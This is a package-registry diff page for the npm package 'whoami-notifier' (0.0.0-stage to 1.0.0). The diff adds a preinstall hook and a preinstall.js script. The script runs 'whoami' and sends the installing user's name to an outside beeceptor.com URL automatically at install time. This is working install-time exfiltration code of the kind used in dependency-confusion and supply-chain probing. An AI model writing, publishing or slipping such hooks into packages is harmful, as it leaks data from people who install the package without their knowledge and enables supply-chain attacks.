whoami-notifier 0.0.0-stage → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -0
- package/package.json +8 -3
- package/preinstall.js +28 -0
- package/README.md +0 -3
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "whoami-notifier",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A package that sends the current user to a remote URL before installation",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node --use-env-proxy preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
3
|
+
|
|
4
|
+
async function run() {
|
|
5
|
+
try {
|
|
6
|
+
const user = execSync('whoami').toString().trim();
|
|
7
|
+
const url = `https://erhantest-erhan.free.beeceptor.com?user=${encodeURIComponent(user)}`;
|
|
8
|
+
|
|
9
|
+
console.log("Sending request...");
|
|
10
|
+
|
|
11
|
+
await new Promise((resolve, reject) => {
|
|
12
|
+
https.get(url, (res) => {
|
|
13
|
+
console.log("Status Code:", res.statusCode);
|
|
14
|
+
res.on('data', () => {});
|
|
15
|
+
resolve();
|
|
16
|
+
}).on('error', (err) => {
|
|
17
|
+
console.error("Request Error:", err);
|
|
18
|
+
reject(err);
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
console.log("Request completed successfully!");
|
|
23
|
+
} catch (e) {
|
|
24
|
+
console.log("Catch Error:", e);
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
run();
|
package/README.md
DELETED